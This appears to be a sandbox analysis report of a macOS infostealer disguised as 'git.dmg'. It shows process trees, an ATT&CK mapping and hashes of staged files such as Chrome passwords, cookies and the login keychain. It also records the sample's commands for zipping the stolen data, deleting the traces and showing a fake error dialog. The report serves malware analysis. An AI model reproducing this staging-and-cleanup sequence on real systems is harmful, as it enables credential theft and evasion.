sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/447743752 /Users/run/447743752.zip --norsrc --noextattr"
1⤵
PID:916

/bin/bash
sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/447743752 /Users/run/447743752.zip --norsrc --noextattr"
1⤵
PID:916

/usr/bin/ditto
ditto -c -k --sequesterRsrc --keepParent /Users/run/447743752 /Users/run/447743752.zip --norsrc --noextattr
1⤵
PID:916

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config remote.origin.url
1⤵
PID:921

/usr/bin/tr
tr -C A-Za-z0-9 _
1⤵
PID:923

/usr/bin/tr
tr "[:lower:]" "[:upper:]"
1⤵
PID:924

/usr/bin/sed
sed -n "s/^ETag: \"\$[a-f0-9]\\{32\\}\$\".*/\\1/p" .git/GITHUB_HEADERS
1⤵
PID:927

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git symbolic-ref refs/remotes/origin/HEAD
1⤵
PID:929

/usr/local/Homebrew/Library/Homebrew/shims/shared/curl
/usr/local/Homebrew/Library/Homebrew/shims/shared/curl "--homebrew=print-path"
1⤵
PID:932

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git rev-parse -q --verify refs/remotes/origin/master
1⤵
PID:934

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:943

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config remote.origin.url
1⤵
PID:945

/usr/bin/tr
tr -C A-Za-z0-9 _
1⤵
PID:948

/usr/bin/tr
tr "[:lower:]" "[:upper:]"
1⤵
PID:949

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git rev-parse refs/remotes/origin/master
1⤵
PID:952

/usr/bin/curl
/usr/bin/curl -q --silent --max-time 3 --location --no-remote-time --output /dev/null --write-out "%{http_code}" --dump-header /usr/local/Homebrew/.git/GITHUB_HEADERS --user-agent "Homebrew/3.2.17 (Macintosh; Intel Mac OS X 10.15.1) curl/7.64.1" --header "Accept: application/vnd.github.v3+json" --header "If-None-Match: \"\"" https://api.github.com/repos/Homebrew/brew/tags
1⤵
PID:961

/usr/local/Homebrew/Library/Homebrew/shims/shared/curl
/usr/local/Homebrew/Library/Homebrew/shims/shared/curl "--homebrew=print-path"
1⤵
PID:962

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git symbolic-ref refs/remotes/origin/HEAD
1⤵
PID:963

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:972

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git rev-parse -q --verify refs/remotes/origin/master
1⤵
PID:971

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config remote.origin.url
1⤵
PID:977

/usr/bin/curl
/usr/bin/curl -q --silent --max-time 3 --location --no-remote-time --output /dev/null --write-out "%{http_code}" --dump-header /usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask/.git/GITHUB_HEADERS --user-agent "Homebrew/3.2.17 (Macintosh; Intel Mac OS X 10.15.1) curl/7.64.1" --header "Accept: application/vnd.github.v3.sha" --header "If-None-Match: \"c72519a7d0df4e03df68bc43aae56ae0b500a659\"" https://api.github.com/repos/Homebrew/homebrew-cask/commits/master
1⤵
PID:982

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git rev-parse refs/remotes/origin/master
1⤵
PID:983

/usr/local/Homebrew/Library/Homebrew/shims/shared/curl
/usr/local/Homebrew/Library/Homebrew/shims/shared/curl "--homebrew=print-path"
1⤵
PID:986

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:993

/usr/bin/curl
/usr/bin/curl -q --silent --max-time 3 --location --no-remote-time --output /dev/null --write-out "%{http_code}" --dump-header /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/GITHUB_HEADERS --user-agent "Homebrew/3.2.17 (Macintosh; Intel Mac OS X 10.15.1) curl/7.64.1" --header "Accept: application/vnd.github.v3.sha" --header "If-None-Match: \"1f235b287a16efc98309923812f8a161b8cd7b0f\"" https://api.github.com/repos/Homebrew/homebrew-core/commits/master
1⤵
PID:999

/bin/rm
rm -f /usr/local/Homebrew/.git/TMP_FETCH_FAILURES
1⤵
PID:1000

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git fetch --tags --force -q origin refs/heads/master:refs/remotes/origin/master
1⤵
PID:1001
- /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https
  /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https origin https://github.com/Homebrew/homebrew-cask
  2⤵
  PID:1003
- - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
    /Library/Developer/CommandLineTools/usr/libexec/git-core/git fetch-pack --stateless-rpc --stdin --lock-pack --thin --no-progress https://github.com/Homebrew/homebrew-cask/
    3⤵
    PID:1017
  - - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
      /Library/Developer/CommandLineTools/usr/libexec/git-core/git index-pack --stdin --fix-thin "--keep=fetch-pack 1017 on tests-iMac.local" "--pack_header=2,365306"
      4⤵
      PID:1025

/usr/bin/touch
touch /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/FETCH_HEAD
1⤵
PID:1002

/bin/rm
rm -f /usr/local/Homebrew/.git/TMP_FETCH_FAILURES
1⤵
PID:1004

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git fetch --tags --force -q origin refs/heads/master:refs/remotes/origin/master
1⤵
PID:1005
- /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https
  /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https origin https://github.com/Homebrew/homebrew-core
  2⤵
  PID:1006
- - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
    /Library/Developer/CommandLineTools/usr/libexec/git-core/git fetch-pack --stateless-rpc --stdin --lock-pack --thin --no-progress https://github.com/Homebrew/homebrew-core/
    3⤵
    PID:1018
  - - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
      /Library/Developer/CommandLineTools/usr/libexec/git-core/git index-pack --stdin --fix-thin "--keep=fetch-pack 1018 on tests-iMac.local" "--pack_header=2,942447"
      4⤵
      PID:1030

/usr/bin/touch
touch /usr/local/Homebrew/.git/FETCH_HEAD
1⤵
PID:1007

/bin/rm
rm -f /usr/local/Homebrew/.git/TMP_FETCH_FAILURES
1⤵
PID:1008

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git fetch --tags --force -q origin refs/heads/master:refs/remotes/origin/master
1⤵
PID:1009
- /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https
  /Library/Developer/CommandLineTools/usr/libexec/git-core/git-remote-https origin https://github.com/Homebrew/brew
  2⤵
  PID:1010
- - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
    /Library/Developer/CommandLineTools/usr/libexec/git-core/git fetch-pack --stateless-rpc --stdin --lock-pack --thin --no-progress https://github.com/Homebrew/brew/
    3⤵
    PID:1015
  - - /Library/Developer/CommandLineTools/usr/libexec/git-core/git
      /Library/Developer/CommandLineTools/usr/libexec/git-core/git index-pack --stdin --fix-thin "--keep=fetch-pack 1015 on tests-iMac.local" "--pack_header=2,74943"
      4⤵
      PID:1016
- /Library/Developer/CommandLineTools/usr/libexec/git-core/git
  /Library/Developer/CommandLineTools/usr/libexec/git-core/git rev-list --objects --stdin --not --all --quiet --alternate-refs
  2⤵
  PID:1021
- /Library/Developer/CommandLineTools/usr/libexec/git-core/git
  /Library/Developer/CommandLineTools/usr/libexec/git-core/git gc --auto --quiet
  2⤵
  PID:1023

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=116"
1⤵
PID:1011

/bin/sh
sh -c "rm -rf /Users/run/447743752"
1⤵
PID:1012

/bin/bash
sh -c "rm -rf /Users/run/447743752"
1⤵
PID:1012

/bin/rm
rm -rf /Users/run/447743752
1⤵
PID:1012

/bin/sh
sh -c "rm /Users/run/447743752.zip"
1⤵
PID:1013

/bin/bash
sh -c "rm /Users/run/447743752.zip"
1⤵
PID:1013

/bin/rm
rm /Users/run/447743752.zip
1⤵
PID:1013

/bin/sh
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:1014

/bin/bash
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:1014

/usr/bin/osascript
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"
1⤵
PID:1014

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=117"
1⤵
PID:1022

/bin/rm
rm -f /usr/local/Homebrew/.git/TMP_FETCH_FAILURES
1⤵
PID:1024

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=117"
1⤵
PID:1031

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:1032

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:1033

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=117"
1⤵
PID:1034

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=30" "--launch-time-ticks=478946604" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=71"
1⤵
PID:1035

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=31" "--launch-time-ticks=482801269" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=71"
1⤵
PID:1036

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=116"
1⤵
PID:1037

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=71"
1⤵
PID:1038

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AppleScript

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Resource Forking

T1564.009

Indicator Removal

T1070

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

File and Directory Discovery

T1083

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.git/objects/pack/pack-4e867598b6c47fa640fce690433f554de9236e9e.idx

Filesize
2.0MB

MD5
06070a65508302fe62e21b77bd9e3c7b

SHA1
7e9b6f6d763ea0cad9cab95aca686f5c46c653c0

SHA256
ab19e99b1c6dbdcf789ea7e5a353ad03ebd969792d674074670da7c7767e2f85

SHA512
ed2baa67e5bc3c429815ffd208a9b6849bf9f4fd89471361d6df5faba6d294fbabd431177d2aacce4f636d7dc959e9cd1253f2a5d86799ec953a08e01f4773de

Download Submit
.git/objects/pack/pack-4e867598b6c47fa640fce690433f554de9236e9e.pack

Filesize
31.5MB

MD5
f092a6cdaf515b4ca46378d07addedde

SHA1
503ddc2ec47d9df7c3d6d2bdc9778e37f861e5ea

SHA256
2074e1c7498d6661349171622ceece33974a1b5a35109f11e169fb1736527422

SHA512
6722135a98f691e9a92cbac383a521af991255620610834439407d9b05d9da90308feeda932611e360d0d66944ffe5265e8c554a08f647b1fa956c4b70670093

Download Submit
.git/objects/pack/tmp_pack_WRYXGk

Filesize
28.9MB

MD5
ef95c6b9b1feb793e19137e090f78703

SHA1
4fc922547bb6997de0ccc2fafbb1e01186f17da1

SHA256
6fe092bb2d88e13cb8b9b5ee71a07a31ba210142ec9a041b32e57e41b17d5935

SHA512
20b214eacc13faf6a09740d7301606c902e24a8d10c40423595ba5b8e8c68a887e80dcfada55d204e131125b1ddb53826e13245deaeafb1e423f9dd77aa03f10

Download Submit
/Users/run/./447743752/Chromium/Chrome/Autofill0

Filesize
90KB

MD5
4e9060f76c1cb5b54005dc6640a58f0d

SHA1
04a1e6791ae55612d9b63f23ccb37eec398b3d27

SHA256
5b6dd3116e1d3ecbf6d07ecfc03f1537ab00ce91336cc7c6cddda6df0c9984d3

SHA512
be921e02bb810fb867c1de3e3c2a9c3b04c84188d6a9eae60b73558bd4748c1451161da8fba2c8e74f225be4b8a6f0e98276fe1e397b0083fcbbd4ebdf32e148

Download Submit
/Users/run/./447743752/Chromium/Chrome/Cookies2

Filesize
20KB

MD5
2a3fa78b5f55b529a2698ad187c80204

SHA1
cbbda35512038de511ac23b0aed12e9e86bcc796

SHA256
d52ad17cc5096119732f06311ef2e25005c2a00f551c9684e2d655cbc846455b

SHA512
e9b113ec0c6a888e059cf625b0bfb128d11a55970fed12df30848c9f836c5f36b2660abb4e2a820e7dedd6f0ead312edec1c6cd645f14091d98b42f696bda9ab

Download Submit
/Users/run/./447743752/Chromium/Chrome/Password1

Filesize
40KB

MD5
b6914d8e5cb470236eceed8d6f8b4fb7

SHA1
cdff8880e9fa7630fc8d57af4669365b5ab29b60

SHA256
45bda2415419c24d2526ae60cae5ee1d66bc8d2cc986bb9e94c0f3c414af06c1

SHA512
1c491cfeb2b883ed20a43e16d7bf620520f4b770c8727ffb83e02554aa6aa54def4732460bcff82014050f7a1fba38e01f5570cacfbfcef6da6f2f795dc56ee7

Download Submit
/Users/run/./447743752/Sysinfo.txt

Filesize
1KB

MD5
31717a21202f4dbab34a72c86ae4f3f2

SHA1
78fab4a3136000513a8f66f2d81d19cb2473338d

SHA256
6e50323737f1ebceb1d9f4e1fb36e5b02ff684de7711f54df08128e966f130da

SHA512
4c79b4b4705b897f2e43aec1ad622df2af929fc58a4e7c44d052b2e39c789bb266d4efc150e00896ac530aede6187c60dba572e78ada2b620f2f4e46f0c6cf5c

Download Submit
/Users/run/./447743752/login-keychain

Filesize
104KB

MD5
17b016b2f7bc845b00cb36bb30a6cb5d

SHA1
2be7ff55dc9033d3a90e98821d80f8596a9dff4a

SHA256
fe2d0e216436831f0801c04d7513c8dd01feeece44b4ba87a1e1e9c24efaa5b3

SHA512
f1c1cf3fbb2cc635bfded0c311be1761dfcdf1eb528d8f11c63035fc713e54d7ecae9025fa38864a881b73faffc9efd66486f107f77b9098f4870dbec0e17530

Download Submit
/Users/run/./447743752/password-entered

Filesize
4B

MD5
63a9f0ea7bb98050796b649e85481845

SHA1
dc76e9f0c0006e8f919e0c515c66dbba3982f785

SHA256
4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2

SHA512
99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8

Download Submit
/Users/run/git.dmg

Filesize
518KB

MD5
5e615b6e83319013374555ae6b92b39d

SHA1
05ddb08149e775cf20d26de1d2fcdb9efd3ec237

SHA256
42c7d9ccad111e8fe8b944d3124fd5f0b3f55a3c3e17ff7f39f2c747a9badf43

SHA512
3f63f317179bfcbd1a88b16d6217cce8cf7499389ee2d622e405a006a6743344a8687e2a03e02b2396a7d1f7628486cec4645eba383a62d404538cb64079771c

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/scoped_dirgIxV5z/CRX_INSTALL/images/icon_128.png

Filesize
3KB

MD5
30899b6c4e4a757b8ec6dd2208acdfb4

SHA1
f2c5880a724c6d75cce1b5191e0d82c3bc7de768

SHA256
4f17efbd974a41d88cb36567aab6bf4586579e78780f00b1826676819e14bff4

SHA512
58539e3f0ad7fef30792efcdbbd955599e11e4261c9946e7c3dff6267e01747354ea3b901c46fc8329f81c68afbeb2d05fe3fcb266bc5948de8befa5b8d040ee

Download Submit
/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/scoped_dirgIxV5z/CRX_INSTALL/images/icon_16.png

Filesize
531B

MD5
344554d96e418120bd80ef5de5194697

SHA1
23e141c3a6ce368acc1c299f062ab85914bcb17e

SHA256
0a4bd08db6422f8e7a8a218ef39c1b99a5a675f12697f26be88f9afc2e1f9378

SHA512
7ae38853e5acca479d7fd81d48bb88c671cf4dce63342209bcff045ac581a04b7b0ed48f6c58253db950935c0522caaa4fbc6cf5a25151a8960ba56fc804569e

Download Submit
/private/var/root/Library/Application Support/Google/Chrome/Default/Extensions/nmmhkkegccagdldgiimedpiccmgmieda/1.0.0.6_1/craw_background.js

Filesize
531KB

MD5
6eebed29e6a6301e92a9b8b347807f5f

SHA1
65dfb69b650560551110b33dcba50b25e5b876de

SHA256
04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697

SHA512
fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.3Lva4N

Filesize
242KB

MD5
541f52e24fe1ef9f8e12377a6ccae0c0

SHA1
189898bb2dcae7d5a6057bc2d98b8b450afaebb6

SHA256
81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82

SHA512
d779d78a15c5efca51ebd6b96a7ccb6d718741bdf7d9a37f53b2eb4b98aa1a78bc4cfa57d6e763aab97276c8f9088940ac0476690d4d46023ff4bf52f3326c88

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.5yqyuF/1.0.0.15_llkgjffcdpffmhiakmfcdcblohccpfmo.crx

Filesize
3KB

MD5
39fbc1bf4c6c8f919181e3e72630f974

SHA1
b73f2394a2c1ac341df75ba63eef4e5e9830fade

SHA256
3a118962ef814c91f6476bb9f0de58afa63103af6ac1b8729be9b39a86789e96

SHA512
2dbd8f772bc113f6500dace5d187b12c79e6e3a5c7f6f68d270beebc482334a1970499b28de5187a3619ff3ecd20aab10c31df8433d509dc011e1e88978ab70e

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.SBfPbf/khaoiebndkojlmppeemjhbpbandiljpe_65_mac_dzlxuetwsybdv7gfmhikquhdj4.crx3

Filesize
5KB

MD5
f5ed8ad664370de2d16265ac99085dbc

SHA1
52deeff97bc4c2777b70b7d79bedeae161183150

SHA256
9fe1922c50cef6ab1c62d9b37a37e0a7d6e82639217b4b7fb1537183ae0dbf55

SHA512
d0ee804f80dbb6a6a9a5e6165829f840761526782933997b73e22fcda452be6a2b4025c51e22c7980d5a49b985d26b70a2d1f4e5d40f5863712103c1c50e67c7

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.U7bZb4/hfnkpimlhhgieaddgfemjhofmfblmnib_8803_all_adwpm3tqug4mdpjmuifmfolm3jpq.crx3

Filesize
25KB

MD5
41c1925b7cf736f0252a27453fe22713

SHA1
ec2d5b146a5b5a9407c20cf816aef0e1f15a5dc8

SHA256
556b5e5dd57c828f2d08e5269e898cdfb6c957f8bd39e96a13a1bd4d792b6660

SHA512
03e39b240da9724f0d286364aeaa92e35ef87308442032c1d1388aa74a657fc573ad7f58b728e59c19b0eff93ce5e23be44f7af6a49c11a3d617f64bddb555ac

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.cRVlP9/gcmjkmgdlgnkkcocmoeiminaijmmjnii_9.49.1_all_ixzyrcu7pvmgu5pjv6enfqq6wa.crx3

Filesize
34KB

MD5
2db7e78c310ca8e73c069a604eac4d99

SHA1
a6d1e03514f8eba03ab81f1380fc54aaded823b6

SHA256
cd1978742a4afdbaaa15bf712d5c90bef4144caa99024df98f6a9ad58043ae85

SHA512
681eaddbf304f4513b008b98493272b44815460568876b93528851ff7806775de38e6ec588fe27a2cf3dc804415e83a420e45d754b25ad4bdf68ef2c78403aa3

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.eEwHhz/jflookgnkcckhobaglndicnbbgbonegd_3030_all_gxlhecuj7wt4iru2mmpk5afmoq.crx3

Filesize
70KB

MD5
b173dbd5ca315b732be8248161124804

SHA1
0083e57ea026113275009cb9cd111bd211578e17

SHA256
888ebbd183d017421d0f23a0a1ea9eaedffefd772878d86c67536c138ef62ada

SHA512
d4cb2a881e157a6d71fd5afc0c1fe0cb343de0ff019ab8778bfcbcd731a2fb8e28336986c603a3e354d9889e2adb68ba6a40fe7df0cc1fa5832bc000ef1624e5

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.llZTPD/lmelglejhemejginpboagddgdfbepgmp_449_all_ZZ_gyquc4lvsd3lincjw6kblirobq.crx3

Filesize
47KB

MD5
556134b3869539491e28c6eecb84cbe4

SHA1
19e9ebc5a6778a01dd75fad5738a20ecfeca08ab

SHA256
3e6a99367b6b37be5ad828dac3f4612241ac241264ca3955b108ff8b9333b5d3

SHA512
c2cf30bef68fb6077dd30f7c66afac49a7efabc39330c5c33f7c29a5abdbfa5c2253d94a506168de95aaea7b9df7b28cc6854626347a5991b159b59b7e8811f7

Download Submit
/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.pngq1H/7_all_sslErrorAssistant.crx3

Filesize
5KB

MD5
636c653ec2c30bb767533901a18669b2

SHA1
4b5a01cfea4c5deb62f3aafa01ef24265613b844

SHA256
3eb16d6c28b502ac4cfee8f4a148df05f4d93229fa36a71db8b08d06329ff18a

SHA512
a4128fb20a5df9e573e92b45f5bc18dcdf4be6e7e39172d08847882f17361320141e89b35deef337e40c365d6f1ccdd1b991eb4593d805dfa2e39a5257c335ee

Download Submit
/var/root/Library/Application Support/Google/Chrome/Crashpad/settings.dat

Filesize
40B

MD5
c6db1caaee0095f017c09113d53ed054

SHA1
cc37e2b3948325a0eeb51080f45b17ebf52a7035

SHA256
ca3252b297284a87de2ee1688585f7c37d26b98c05d7ed04bd7d6df10c0d1476

SHA512
3013340ee4157dfef7dcacd690b840f12b876e8241d4e8bc419016d5336810ab77023cdbbeaa896544e4c29f386d21296649542ef2b0fc6b58c49e2ad0337d85

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/Extension Scripts/CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/Extension Scripts/MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/Session Storage/000003.ldb

Filesize
141B

MD5
38fc535a8f11d7e955ef58cc63158eff

SHA1
c45ad3ee106dbfb65dce7c09b53140f34454cd0e

SHA256
085c44dfa11e65ac3548c4d0fe1ae641570f90c7caaa2881c3990efcf555e6a8

SHA512
26e70000f77c1b6388dd470f9d7ec6bedc4fc3c43e48efcc853812eb076108bcdd9f50f7a89265e431d33df96e71755ca242dfd0aac16a51d99dea50a5a1e505

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/Site Characteristics Database/000003.ldb

Filesize
312B

MD5
5c4e7ade5753ab7de2c42c04111fa42e

SHA1
fb577b8c07d9617f507a3f2950df0a6dcfebe4e2

SHA256
d3979fd2d9ecfdb05498d79d1f24998c38cfd107e321f6810d8b7f9f12affd82

SHA512
7a7452bcd22e66190e36ff0036f21d854fa57bdcbaebf637aa3a6d932a385a7c90525ede0c124853c218445d583c0edcf45d12159ca452732f31d16c3901929b

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/Sync Data/LevelDB/000003.ldb

Filesize
136B

MD5
fe382e791274914bee5950777e4f1fd3

SHA1
53b523b5fc87e66f2520a0b5f9ea080072668f4d

SHA256
935d36c021d0e08a5648c622f3f6fde376e3310013680ae598c0e22dc943d132

SHA512
a5f608fb4f0a1dbc4c5d1b739b1a5b6f50cac1d6a61312b19abf9f601882a291d73524ac55bbe183e4e64db8dcc203d4bf3cedc734fd04bd448cb825d98d1e67

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/shared_proto_db/000003.ldb

Filesize
337B

MD5
ea517aa120c972c602673d331dfa35bc

SHA1
7ff539eec544cf306b80137bc182fb544e58aad5

SHA256
0c53b2ef8ec9bd6c3b81955b45cd9fc69705e7b435ad747b50c150c7e341f8da

SHA512
